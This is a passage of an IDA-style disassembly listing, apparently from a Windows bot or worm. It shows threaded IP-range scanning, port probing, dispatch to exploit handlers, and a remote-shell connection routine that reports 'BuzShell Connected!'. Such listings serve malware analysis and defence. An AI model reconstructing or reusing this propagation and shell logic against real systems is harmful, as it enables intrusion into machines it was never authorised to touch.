lea eax, [ebp+var_3F0]
push eax
call sub_415F45
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41BEF6
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_41BEF6
add esp, 3Ch
cmp [ebp+var_A4], 0
lea eax, [ebp+var_A4]
jnz short loc_40BACC
lea eax, [ebp+var_124]
loc_40BACC: ; CODE XREF: sub_40B9E3+E1j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41BEF6
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [esi]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+2Ch]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40BB31: ; CODE XREF: sub_40B9E3+67j
inc [ebp+arg_0]
add ebx, 40h
lea esi, [ebx+28h]
cmp [esi], edi
jnz loc_40BA37
loc_40BB42: ; CODE XREF: sub_40B9E3+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset dword_434570
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409743
lea eax, [ebp+var_3F0]
push eax
call sub_415F45
push [ebp+var_18]
call sub_40B56A
add esp, 2Ch
push edi
call dword_4280D4 ; ExitThread
sub_40B9E3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB95 proc near ; CODE XREF: sub_401AA1+23ABp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B496
test eax, eax
pop ecx
jle short loc_40BBD1
mov eax, [ebp+arg_C]
push dword_4CE448[eax*8]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset dword_434654
push eax
call sub_41BEF6
add esp, 0Ch
jmp short loc_40BBE4
; ---------------------------------------------------------------------------
loc_40BBD1: ; CODE XREF: sub_40BB95+13j
lea eax, [ebp+var_200]
push offset dword_434618
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_40BBE4: ; CODE XREF: sub_40BB95+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_200]
push eax
call sub_415F45
add esp, 18h
leave
retn
sub_40BB95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC0C proc near ; CODE XREF: sub_40C485+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C0EC
shl eax, 6
xor ebx, ebx
cmp dword_434064[eax], ebx
jz loc_40C0EC
push 5
call sub_40B496
test eax, eax
pop ecx
jnz loc_40BE86
mov eax, dword_42A964
push edi
mov esi, offset dword_4D0504
push 104h
push esi
push ebx
mov dword_4D0714, eax
mov dword_4D0710, ebx
call dword_428078 ; GetModuleFileNameA
mov edi, offset byte_42AA54
push 103h
push edi
push offset dword_4D0608
call sub_41BC60
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D0500, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4D0798, eax
jnz short loc_40BCBC
lea eax, [ebp+arg_10]
push eax
push offset dword_4D0718
call sub_41BC60
mov dword_4D079C, 1
jmp short loc_40BCD3
; ---------------------------------------------------------------------------
loc_40BCBC: ; CODE XREF: sub_40BC0C+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D0718
call sub_41BC60
mov dword_4D079C, ebx
loc_40BCD3: ; CODE XREF: sub_40BC0C+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push dword_4D0714
push offset dword_434898
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B254
add esp, 1Ch
mov dword_4D070C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D0500
push offset sub_412407
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, dword_4D070C
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz loc_40BDD7
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset dword_434840
push eax
call sub_41BEF6
add esp, 0Ch
loc_40BD51: ; CODE XREF: sub_40BC0C+1D3j
lea eax, [ebp+var_204]
push eax
call sub_415F45
mov eax, dword_4CE048
mov esi, offset dword_4D07AC
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4D09BC, eax
mov dword_4D09B8, ebx
call dword_428078 ; GetModuleFileNameA
push 103h
push edi
push offset dword_4D08B0
call sub_41BC60
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D07A8, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4D0A40, eax
push 7Fh
jnz short loc_40BDE4
lea eax, [ebp+arg_10]
push eax
push offset dword_4D09C0
call sub_41BC60
mov dword_4D0A44, 1
jmp short loc_40BDFB
; ---------------------------------------------------------------------------
loc_40BDCF: ; CODE XREF: sub_40BC0C+1D1j
push 32h
call dword_428080 ; Sleep
loc_40BDD7: ; CODE XREF: sub_40BC0C+124j
cmp dword_4D07A0, ebx
jz short loc_40BDCF
jmp loc_40BD51
; ---------------------------------------------------------------------------
loc_40BDE4: ; CODE XREF: sub_40BC0C+1A7j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D09C0
call sub_41BC60
mov dword_4D0A44, ebx
loc_40BDFB: ; CODE XREF: sub_40BC0C+1C1j
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push dword_4D09BC
push offset dword_4347E8
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B254
add esp, 1Ch
mov dword_4D09B4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D07A8
push offset sub_40F6A7
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, dword_4D09B4
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz loc_40BEFF
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset dword_434790
push eax
call sub_41BEF6
add esp, 0Ch
loc_40BE79: ; CODE XREF: sub_40BC0C+2FBj
lea eax, [ebp+var_204]
push eax
call sub_415F45
pop ecx
loc_40BE86: ; CODE XREF: sub_40BC0C+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43406C[ecx], ebx
jz loc_40BFB3
push 7
call sub_40B496
test eax, eax
pop ecx
jnz loc_40BFAD
mov eax, dword_4D1034
cmp [ebp+arg_90], bl
mov dword_4D046C, eax
mov eax, [ebp+arg_110]
mov dword_4D0460, eax
mov eax, [ebp+arg_138]
mov dword_4D0468, ebx
mov dword_4D04F0, eax
push 7Fh
jnz short loc_40BF0C
lea eax, [ebp+arg_10]
push eax
push offset dword_4D0470
call sub_41BC60
mov dword_4D04F4, 1
jmp short loc_40BF23
; ---------------------------------------------------------------------------
loc_40BEF7: ; CODE XREF: sub_40BC0C+2F9j
push 32h
call dword_428080 ; Sleep
loc_40BEFF: ; CODE XREF: sub_40BC0C+24Cj
cmp dword_4D0A48, ebx
jz short loc_40BEF7
jmp loc_40BE79
; ---------------------------------------------------------------------------
loc_40BF0C: ; CODE XREF: sub_40BC0C+2CFj
lea eax, [ebp+arg_90]
push eax
push offset dword_4D0470
call sub_41BC60
mov dword_4D04F4, ebx
loc_40BF23: ; CODE XREF: sub_40BC0C+2E9j
add esp, 0Ch
lea eax, [ebp+var_204]
push dword_4D046C
push offset unk_434760
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B254
add esp, 18h
mov dword_4D0464, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D0460
push offset sub_40F405
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, dword_4D0464
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz loc_40C0A5
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_434728
push eax
call sub_41BEF6
add esp, 0Ch
loc_40BFA0: ; CODE XREF: sub_40BC0C+4A1j
lea eax, [ebp+var_204]
push eax
call sub_415F45
pop ecx
loc_40BFAD: ; CODE XREF: sub_40BC0C+29Bj
mov eax, [ebp+arg_130]
loc_40BFB3: ; CODE XREF: sub_40BC0C+28Bj
shl eax, 6
cmp dword_434068[eax], ebx
jz loc_40C0EC
push 3
call sub_40B496
test eax, eax
pop ecx
jnz loc_40C0EC
mov esi, offset dword_4D0CDC
push 104h
push esi
push ebx
call dword_428078 ; GetModuleFileNameA
push 5Ch
push esi
call sub_41C4B0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BFF4
mov [eax], bl
loc_40BFF4: ; CODE XREF: sub_40BC0C+3E4j
mov eax, dword_42A968
mov dword_4D0DF4, ebx
mov dword_4D0DE0, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4D0A54
call sub_41BEF6
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4D0A50, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4D0DE0
mov dword_4D0DEC, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4D0DF0, ecx
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_4346D8
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B254
add esp, 20h
mov dword_4D0DE8, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D0A50
push offset sub_40FDBE
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, dword_4D0DE8
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jz short loc_40C0C4
jmp short loc_40C0BA
; ---------------------------------------------------------------------------
loc_40C09D: ; CODE XREF: sub_40BC0C+49Fj
push 32h
call dword_428080 ; Sleep
loc_40C0A5: ; CODE XREF: sub_40BC0C+373j
cmp dword_4D04F8, ebx
jz short loc_40C09D
jmp loc_40BFA0
; ---------------------------------------------------------------------------
loc_40C0B2: ; CODE XREF: sub_40BC0C+4B4j
push 32h
call dword_428080 ; Sleep
loc_40C0BA: ; CODE XREF: sub_40BC0C+48Fj
cmp dword_4D0DFC, ebx
jz short loc_40C0B2
jmp short loc_40C0DF
; ---------------------------------------------------------------------------
loc_40C0C4: ; CODE XREF: sub_40BC0C+48Dj
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_434690
push eax
call sub_41BEF6
add esp, 0Ch
loc_40C0DF: ; CODE XREF: sub_40BC0C+4B6j
lea eax, [ebp+var_204]
push eax
call sub_415F45
pop ecx
loc_40C0EC: ; CODE XREF: sub_40BC0C+14j
; sub_40BC0C+25j ...
pop esi
pop ebx
leave
retn
sub_40BC0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C0F0 proc near ; CODE XREF: sub_40C271:loc_40C2D3p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CE448h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
push [ebp+arg_0]
call dword_4CE230 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CE304 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call near ptr sub_41C9B0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C0F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C138 proc near ; CODE XREF: sub_40C271+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B650
cmp eax, 0Fh
pop ecx
jbe short loc_40C160
xor eax, eax
jmp short loc_40C1D1
; ---------------------------------------------------------------------------
loc_40C160: ; CODE XREF: sub_40C138+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C973
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C18D
call sub_41BF52
mov [ebp+var_C], eax
loc_40C18D: ; CODE XREF: sub_40C138+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C19A
call sub_41BF52
mov [ebp+var_8], eax
loc_40C19A: ; CODE XREF: sub_40C138+58j
cmp [ebp+var_4], esi
jnz short loc_40C1A7
call sub_41BF52
mov [ebp+var_4], eax
loc_40C1A7: ; CODE XREF: sub_40C138+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C1B3
call sub_41BF52
loc_40C1B3: ; CODE XREF: sub_40C138+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CE448[ecx*8], eax
loc_40C1D1: ; CODE XREF: sub_40C138+26j
pop esi
leave
retn
sub_40C138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1D4 proc near ; CODE XREF: sub_40B9E3+5Cp
; sub_40C271+A9p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CE388 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C1FD
xor eax, eax
jmp short loc_40C26C
; ---------------------------------------------------------------------------
loc_40C1FD: ; CODE XREF: sub_40C1D4+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CE308 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CE3A4 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CE2B0 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CE2F0 ; select
push esi
mov edi, eax
call dword_4CE3A0 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C26C: ; CODE XREF: sub_40C1D4+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C1D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C271 proc near ; DATA XREF: sub_40C485+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_40C462
; ---------------------------------------------------------------------------
loc_40C2BD: ; CODE XREF: sub_40C271+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40C2D3
lea eax, [ebp+var_150]
push eax
call sub_40C138
pop ecx
jmp short loc_40C2D8
; ---------------------------------------------------------------------------
loc_40C2D3: ; CODE XREF: sub_40C271+51j
call sub_40C0F0
loc_40C2D8: ; CODE XREF: sub_40C271+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_44124C[ebx]
push [ebp+var_3C]
push edi
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset dword_434940
push eax
call sub_41BEF6
lea eax, [ebp+var_28C]
push eax
lea eax, dword_441048[ebx]
push eax
call sub_41BEF6
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C1D4
add esp, 2Ch
cmp eax, 1
jnz loc_40C457
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C3AC
push offset dword_4D0448
call dword_4280DC ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset dword_4348F8
push eax
call sub_41BEF6
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C38E
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C382
lea eax, [ebp+var_140]
loc_40C382: ; CODE XREF: sub_40C271+109j
push eax
push [ebp+var_40]
call sub_409743
add esp, 14h
loc_40C38E: ; CODE XREF: sub_40C271+EEj
lea eax, [ebp+var_28C]
push eax
call sub_415F45
mov [esp+2A8h+var_2A8], offset dword_4D0448
call dword_4280D8 ; RtlLeaveCriticalSection
jmp loc_40C457
; ---------------------------------------------------------------------------
loc_40C3AC: ; CODE XREF: sub_40C271+BEj
push edi
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41BEF6
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41BEF6
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40C3F0
lea eax, [ebp+var_140]
loc_40C3F0: ; CODE XREF: sub_40C271+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41BEF6
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43405C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C457: ; CODE XREF: sub_40C271+B4j
; sub_40C271+136j
push 7D0h
call dword_428080 ; Sleep
loc_40C462: ; CODE XREF: sub_40C271+47j
mov eax, dword_44124C[ebx]
cmp dword_4CE44C[eax*8], 0
jnz loc_40C2BD
push esi
call sub_40B56A
pop ecx
push 0
call dword_4280D4 ; ExitThread
sub_40C271 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C485 proc near ; DATA XREF: sub_401AA1+1EE0o
; sub_401AA1+5B56o
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CE348 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CE448[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BC0C
push 0Bh
call sub_40B496
add esp, 150h
cmp eax, ebx
jnz short loc_40C553
mov esi, offset dword_4D0448
push esi
call dword_4280E4 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4280E0 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C553
lea eax, [ebp+var_1CC]
push offset dword_434AD0
push eax
call sub_41BEF6
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C53D
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409743
add esp, 14h
loc_40C53D: ; CODE XREF: sub_40C485+99j
lea eax, [ebp+var_1CC]
push eax
call sub_415F45
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C553: ; CODE XREF: sub_40C485+63j
; sub_40C485+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_428080
mov edi, ebx
mov dword_4CE44C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C615
loc_40C571: ; CODE XREF: sub_40C485+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset dword_434A70
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B254
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_44124C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C271
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_40C62C
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset dword_434A10
push eax
call sub_41BEF6
lea eax, [ebp+var_1CC]
push eax
call sub_415F45
add esp, 10h
loc_40C607: ; CODE XREF: sub_40C485+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C571
loc_40C615: ; CODE XREF: sub_40C485+E6j
cmp [ebp+var_30], ebx
jz short loc_40C63A
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40C647
; ---------------------------------------------------------------------------
loc_40C628: ; CODE XREF: sub_40C485+1AAj
push 1Eh
call esi ; Sleep
loc_40C62C: ; CODE XREF: sub_40C485+159j
cmp [ebp+var_4], ebx
jz short loc_40C628
jmp short loc_40C607
; ---------------------------------------------------------------------------
loc_40C633: ; CODE XREF: sub_40C485+1C0j
push 7D0h
call esi ; Sleep
loc_40C63A: ; CODE XREF: sub_40C485+193j
mov eax, [ebp+var_2C]
cmp dword_4CE44C[eax*8], 1
jz short loc_40C633
loc_40C647: ; CODE XREF: sub_40C485+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CE448[eax*8]
push eax
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset dword_4349A0
push eax
call sub_41BEF6
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C695
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409743
add esp, 14h
loc_40C695: ; CODE XREF: sub_40C485+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_415F45
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov dword_4CE44C[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B496
cmp eax, 1
pop ecx
jnz short loc_40C6CC
push offset dword_4D0448
call dword_4280E4 ; RtlDeleteCriticalSection
loc_40C6CC: ; CODE XREF: sub_40C485+23Aj
push [ebp+var_2C]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
sub_40C485 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C6DC proc near ; CODE XREF: sub_40EA40+4F9p
var_410 = byte ptr -410h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 410h
push esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CE348 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4CE308 ; ntohs
push 0
push 1
push 2
mov [ebp+var_E], ax
call dword_4CE388 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C73E
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40C742
loc_40C73E: ; CODE XREF: sub_40C6DC+4Ej
xor eax, eax
jmp short loc_40C770
; ---------------------------------------------------------------------------
loc_40C742: ; CODE XREF: sub_40C6DC+60j
push 0
lea eax, [ebp+var_410]
push 400h
push eax
push esi
call dword_4CE320 ; recv
push 0
push 1
push offset aBuzshellConnec ; "BuzShell Connected!"
push offset asc_42AAA4 ; "#l"
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_40C770: ; CODE XREF: sub_40C6DC+64j
pop esi
leave
retn
sub_40C6DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C773 proc near ; DATA XREF: sub_40C840+7Bo
; sub_40C931+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A8h], esi
lea eax, [ebp+var_10]
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CE308 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CE388 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C831
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CE2B0 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_441254[ecx], esi
jz short loc_40C831
push [ebp+var_38]
push [ebp+var_28]
call dword_4CE394 ; inet_ntoa
push eax
mov edi, offset dword_4D0E08
push offset dword_434B40
push edi
call sub_41BEF6
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409743
push edi
call sub_415F45
add esp, 28h
loc_40C831: ; CODE XREF: sub_40C773+5Dj
; sub_40C773+7Ej
push esi
call dword_4CE3A0 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C773 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C840 proc near ; DATA XREF: sub_401AA1+5F34o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
